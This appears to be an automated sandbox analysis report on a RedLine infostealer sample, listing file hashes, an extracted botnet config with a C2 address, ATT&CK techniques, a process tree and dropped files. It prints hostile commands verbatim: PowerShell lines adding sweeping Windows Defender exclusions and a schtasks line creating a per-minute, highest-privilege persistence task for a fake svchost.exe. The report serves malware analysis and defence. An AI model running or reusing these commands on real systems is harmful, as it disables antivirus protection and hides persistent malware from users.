redline | fafa2c77937e7b14af1d156fd7a188c74833f34a45ceb8ce241c7c991e1dea58

General

Target

JaffaCakes118_f9262caed7ba0fc77e871e26d9a5b4eb.exe
Size

4.6MB
MD5

f9262caed7ba0fc77e871e26d9a5b4eb
SHA1

5455ad3b1de9eee55ec776d0e220bdf8488ff7d1
SHA256

fafa2c77937e7b14af1d156fd7a188c74833f34a45ceb8ce241c7c991e1dea58
SHA512

d2aca65022e175d2f01e624bf3b07158354262d1355b488d453fd5e9482a262cdddf9d546ca2270c63745ee24cab84f373cf285a8ef644c3b459b24088d2501c
SSDEEP

98304:/q8eNY5p0ExtC6RpPwVsniC5u/BDLTABEp0moOjtchG8cV:/qup0Ex8ArMdPABEp0pAKhGVV

Score

10^/10

redline @hatake03 discovery execution infostealer

Malware Config

Extracted

Family

redline

Botnet

@hatake03

C2

95.181.152.6:46927

Attributes

auth_value
cdf3919a262c0d6ba99116b375d7551c

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

resource	yara_rule
behavioral2/memory/4328-17-0x0000000000140000-0x000000000016E000-memory.dmp	family_redline
behavioral2/memory/4328-10-0x0000000000140000-0x000000000016E000-memory.dmp	family_redline
behavioral2/memory/4328-19-0x0000000005220000-0x0000000005240000-memory.dmp	family_redline

Redline family
redline

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4704	powershell.exe
4204	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
1360	Selfconvened.exe
4328	qT5w4MkRQwNB.exe
4844	svchost.exe
5032	svchost.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\WindowsPro\svchost.exe	Selfconvened.exe
File opened for modification	C:\Windows\system32\WindowsPro\svchost.exe	Selfconvened.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JaffaCakes118_f9262caed7ba0fc77e871e26d9a5b4eb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qT5w4MkRQwNB.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2296	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1360	Selfconvened.exe
4704	powershell.exe
4704	powershell.exe
4204	powershell.exe
4204	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1360	Selfconvened.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	4844	svchost.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3168 wrote to memory of 1360	3168	JaffaCakes118_f9262caed7ba0fc77e871e26d9a5b4eb.exe	83
PID 3168 wrote to memory of 1360	3168	JaffaCakes118_f9262caed7ba0fc77e871e26d9a5b4eb.exe	83
PID 3168 wrote to memory of 4328	3168	JaffaCakes118_f9262caed7ba0fc77e871e26d9a5b4eb.exe	84
PID 3168 wrote to memory of 4328	3168	JaffaCakes118_f9262caed7ba0fc77e871e26d9a5b4eb.exe	84
PID 3168 wrote to memory of 4328	3168	JaffaCakes118_f9262caed7ba0fc77e871e26d9a5b4eb.exe	84
PID 1360 wrote to memory of 912	1360	Selfconvened.exe	97
PID 1360 wrote to memory of 912	1360	Selfconvened.exe	97
PID 1360 wrote to memory of 2296	1360	Selfconvened.exe	99
PID 1360 wrote to memory of 2296	1360	Selfconvened.exe	99
PID 912 wrote to memory of 4704	912	cmd.exe	101
PID 912 wrote to memory of 4704	912	cmd.exe	101
PID 912 wrote to memory of 4204	912	cmd.exe	102
PID 912 wrote to memory of 4204	912	cmd.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_f9262caed7ba0fc77e871e26d9a5b4eb.exe
"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_f9262caed7ba0fc77e871e26d9a5b4eb.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3168
- C:\Users\Admin\AppData\Local\Temp\Selfconvened.exe
  C:\Users\Admin\AppData\Local\Temp\Selfconvened.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" #cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4204
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /f /sc minute /rl highest /mo 1 /tn "Bobsledding" /tr "C:\Windows\system32\WindowsPro\svchost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2296
- C:\Users\Admin\AppData\Local\Temp\qT5w4MkRQwNB.exe
  C:\Users\Admin\AppData\Local\Temp\qT5w4MkRQwNB.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4328

C:\Windows\system32\WindowsPro\svchost.exe
C:\Windows\system32\WindowsPro\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4844

C:\Windows\system32\WindowsPro\svchost.exe
C:\Windows\system32\WindowsPro\svchost.exe
1⤵
- Executes dropped EXE
PID:5032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

Filesize
2KB

MD5
3d61c3fafacd57fc570153fefcc3bf45

SHA1
f0a01b1a27acde8d1d499daeb119e78b2d68f425

SHA256
89ed90813893a44310852bd8c730cc4ada856fff05b87a15f0a4f753f828ea28

SHA512
5f16cb9e3865edbb689c47655424e0600e1cfb5ced88a6f3d91bf5026494a1766495465c205b9937a4f08fb14fe71fe238e32f6e0d6ac1d1341ba4fa0868a1c9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\Selfconvened.exe

Filesize
4.5MB

MD5
64b5e984fda860eedf19c29a124094fb

SHA1
760c195741989e17b48ad52c13bed35e8ea51692

SHA256
1f47c67d3baa635c4b7dd2bfed0a26a6bd499c3ab5a64d10b391a52e7d71ba39

SHA512
187dbbc7137db41da77dd5c3d1471f82b157d031653109632adb9c49ea519f452b661cfd1845512661dcdb3b00bf2a02b2c3504406fb19ad89b06fcd6afee4e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zo0ienvj.p4g.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\qT5w4MkRQwNB.exe

Filesize
836KB

MD5
b1053be5f3586f6785a57c911addc48c

SHA1
712b1ed92154916d48d20476cf7ff12da0c57609

SHA256
e0c190537e74cb9253f2bf68203513de2a258ef427dbff8552310d8767adf71c

SHA512
1d5b0f9c40ea2796b65835e11b1dff542d38607558dd903a922a3dea0f5e3ac117b6dcb597710d5c36851e737b1dce8069b94cff87b18c517928bcc9645eb7f4

Download Submit
C:\Windows\System32\WindowsPro\svchost.exe

Filesize
10.5MB

MD5
2ad29cea39c46ba9e98257bba437cecf

SHA1
3891c83f1553a659ce38e6359352e93a2b0a48b4

SHA256
0285c7b9c53354310054f984922046598406816af36f397da475e767809c9754

SHA512
9fbb785ad03638d13116a9d4d962a010201f0675a27b1bb65feb10f979be694b8fa2a5dc5b7e788d0d0b6c43e01507ab035c150739f9cb231ccd9f3c2abde136

Download Submit
memory/1360-39-0x000001FEAE5D0000-0x000001FEAE978000-memory.dmp

Filesize
3.7MB

Download
memory/1360-32-0x00007FFD9D8C3000-0x00007FFD9D8C5000-memory.dmp

Filesize
8KB

Download
memory/1360-9-0x000001FE916D0000-0x000001FE91B4A000-memory.dmp

Filesize
4.5MB

Download
memory/1360-6-0x00007FFD9D8C3000-0x00007FFD9D8C5000-memory.dmp

Filesize
8KB

Download
memory/1360-42-0x000001FEAC7B0000-0x000001FEAC7C2000-memory.dmp

Filesize
72KB

Download
memory/1360-41-0x000001FEAEE50000-0x000001FEAF31C000-memory.dmp

Filesize
4.8MB

Download
memory/1360-40-0x000001FEACE00000-0x000001FEAD0A4000-memory.dmp

Filesize
2.6MB

Download
memory/1360-38-0x000001FEAC0D0000-0x000001FEAC0E0000-memory.dmp

Filesize
64KB

Download
memory/1360-37-0x000001FEAC0D0000-0x000001FEAC0E0000-memory.dmp

Filesize
64KB

Download
memory/1360-36-0x000001FEAC0D0000-0x000001FEAC0E0000-memory.dmp

Filesize
64KB

Download
memory/1360-29-0x000001FEAC180000-0x000001FEAC538000-memory.dmp

Filesize
3.7MB

Download
memory/1360-30-0x000001FEAC0D0000-0x000001FEAC0E0000-memory.dmp

Filesize
64KB

Download
memory/1360-31-0x000001FEAC0D0000-0x000001FEAC0E0000-memory.dmp

Filesize
64KB

Download
memory/4328-26-0x0000000075060000-0x0000000075810000-memory.dmp

Filesize
7.7MB

Download
memory/4328-23-0x0000000075060000-0x0000000075810000-memory.dmp

Filesize
7.7MB

Download
memory/4328-34-0x0000000075060000-0x0000000075810000-memory.dmp

Filesize
7.7MB

Download
memory/4328-35-0x0000000000650000-0x0000000000727000-memory.dmp

Filesize
860KB

Download
memory/4328-28-0x0000000005B20000-0x0000000005B6C000-memory.dmp

Filesize
304KB

Download
memory/4328-21-0x0000000075060000-0x0000000075810000-memory.dmp

Filesize
7.7MB

Download
memory/4328-27-0x0000000005AB0000-0x0000000005AEC000-memory.dmp

Filesize
240KB

Download
memory/4328-19-0x0000000005220000-0x0000000005240000-memory.dmp

Filesize
128KB

Download
memory/4328-25-0x00000000059A0000-0x0000000005AAA000-memory.dmp

Filesize
1.0MB

Download
memory/4328-33-0x000000007506E000-0x000000007506F000-memory.dmp

Filesize
4KB

Download
memory/4328-24-0x0000000005940000-0x0000000005952000-memory.dmp

Filesize
72KB

Download
memory/4328-18-0x000000007506E000-0x000000007506F000-memory.dmp

Filesize
4KB

Download
memory/4328-10-0x0000000000140000-0x000000000016E000-memory.dmp

Filesize
184KB

Download
memory/4328-20-0x0000000075060000-0x0000000075810000-memory.dmp

Filesize
7.7MB

Download
memory/4328-17-0x0000000000140000-0x000000000016E000-memory.dmp

Filesize
184KB

Download
memory/4328-22-0x0000000005320000-0x0000000005938000-memory.dmp

Filesize
6.1MB

Download
memory/4704-58-0x000001FDB66B0000-0x000001FDB66D2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads